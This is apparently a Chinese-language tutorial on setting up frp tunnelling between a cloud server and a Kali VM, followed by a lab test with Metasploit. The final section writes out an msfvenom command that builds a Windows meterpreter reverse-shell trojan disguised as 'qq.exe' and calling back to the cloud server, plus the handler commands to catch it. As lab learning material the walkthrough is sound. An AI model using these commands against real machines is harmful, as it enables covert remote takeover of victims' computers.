# 准备
- frps 部署机。
- 要求:拥有 公网 IP (例如 VPS、云服务器等等)
- 本文选用 Ubuntu 18.04.6 云服务器
- frpc 客户机。
- 要求:能访问互联网
- 本文选用 Kali Linux 2022 虚拟机
- frp 的 Github 项目地址:fatedier/frp
# frps(云服务器)
# 下载安装
Github 项目 上找到最新的 releases :
- 在 云服务器 终端上下载:
wget https://github.com/fatedier/frp/releases/download/v0.41.0/frp_0.41.0_linux_amd64.tar.gz
- 解压缩 下载的文件:
tar -zxvf frp_0.41.0_linux_amd64.tar.gz
- 进入 解压缩的文件夹:
cd frp_0.41.0_linux_amd64/
- 因为配置的是 frps ,可以 删除 文件夹内的 frpc 相关文件,防止后续修改出错:
rm -rf frpc*
# 编写 frps 配置文件
vim frps.ini
内容如下:
(不想要监控页面的话,删除对应配置所在 行 即可)
1 | [common] |
如图所示:
(需要 云服务器 打开 对应端口:7777、9999)
# 运行
相关命令 基本上 应当在 frp_0.41.0_linux_amd64 文件夹 下执行~
- 命令行输入:
./frps -c frps.ini
- [注意]:关闭命令行窗口,或是停止执行该命令,就会 退出
- 后台运行:
nohup ./frps -c frps.ini >/dev/null 2>&1 &
- 因为通常不会 关闭云服务器,所以 后台运行 就足够了;
- 当然也可以 开启自启动,详情见 frpc 的内容,对应命令改个符号就行~
# frpc(Kali 虚拟机)
# 下载安装
Github 项目 上找到最新的 releases
步骤与 frps 的几乎相同,区别 是:
- 对象变成了 Kali 虚拟机,而不是 云服务器
- 以及最后一步 删除的是 frps:
4. 因为配置的是 frpc ,可以 删除 文件夹内的 frps 相关文件,防止后续修改出错:rm -rf frps*
# 编写 frpc 配置文件
作为一款 内网穿透 工具,frp 穿透了内网之后,还需要使用 其他手段(ssh)
和外网建立交互,所以 配置文件 中会存在 [ssh] 配置。
vim frpc.ini
内容如下:
1 | [common] |
相关 解释 如图:
# 运行
相关命令 基本上 应当在 frp_0.41.0_linux_amd64 文件夹 下执行~
- 命令行输入:
./frpc -c frpc.ini
- [注意]:关闭命令行窗口,或是停止执行该命令,就会 退出
- 开机自启动:
- 服务目录 新建并编辑 文件:
vim /lib/systemd/system/frp.service
- 填入以下内容:
1
2
3
4
5
6
7
8
9
10
11
12
13[Unit]
Description=Frp Client Service
After=network.target remote-fs.target nss-lookup.target
Wants=network.target
[Service]
Type=simple
ExecStart=/root/frp/frpc -c /root/frp/frpc.ini
Restart=always
RestartSec=20s
[Install]
WantedBy=multi-user.target - 启动 frpc 服务:
systemctl start frp
(最后的frp
名称取决于上一步新建的文件名frp.service
) - 打开 frpc 服务自启动
systemctl enable frp
[注意]:- 如果要重启应用:
systemctl restart frp
- 如果要停止应用:
systemctl stop frp
- 如果要查看 frpc 的日志:
systemctl status frp
- 权限不够,记得加
sudo
- 如果要重启应用:
- 服务目录 新建并编辑 文件:
服务文件 重要内容注释 如下图:
# SSH 连接测试
- 命令行
ssh root@x.x.x.x -p 6666
(root 用户登录到 云服务器 x.x.x.x 的 6666 端口)
- Xshell 创建新会话,具体内容如下:
<br>
Xshell 连接成功:
# msf 渗透攻击测试
双击打开 刚刚建立的 Xshell 新会话( frp ).
# frpc 添加新配置
输入命令: vim frpc.ini
,编辑 frpc 配制文件,
在文件末尾 添加:
1 | [msf] |
配置内容的 含义 与 [ssh] 类似,解释如图:
# msf 生成木马
与连接 本地的 shell 生成木马不同,
因为我们要使用 frp 穿透内网 连接的 shell ,去 监听木马反弹的 shell,
所以我们 生成木马 时,设置的 LHOST、LPORT 应当是 云服务器 的对应数据。
(直接用内网测试的时候,LHOST、LPORT 填的是 本地虚拟机 的相关数据)
用 msf 生成 windows 系统的 反向 shell 木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333 -f exe > qq.exe
成功生成木马文件:qq.exe
# msf 监听反弹的 shell
(确定 frps 、frpc 服务均已在后台运行)
(事先上传 qq.exe 到测试的靶机,本文用 Win7_x64 虚拟机替代)
关于上传:Kali 虚拟机 开启 Apache2 服务,Win7_x64 虚拟机 内网访问下载:
msfconsole
- 打开 msf
use exploit/multi/handler
- 选择使用的 exploit
set PAYLOAD windows/x64/meterpreter/reverse_tcp
- 设置 PAYLOAD (生成木马时使用的)
set LHOST 127.0.0.1
- 设置 LHOST 为本地 IP
set LPORT 4444
- 设置 LPORT 为转发的本地端口 4444
- run
- 开始监听
(先让 msf 开始监听,再双击运行上传的木马文件)
演示如图所示:
- 双击 运行木马:
<br> - msf 开始监听 & 成功获得 meterpreter shell: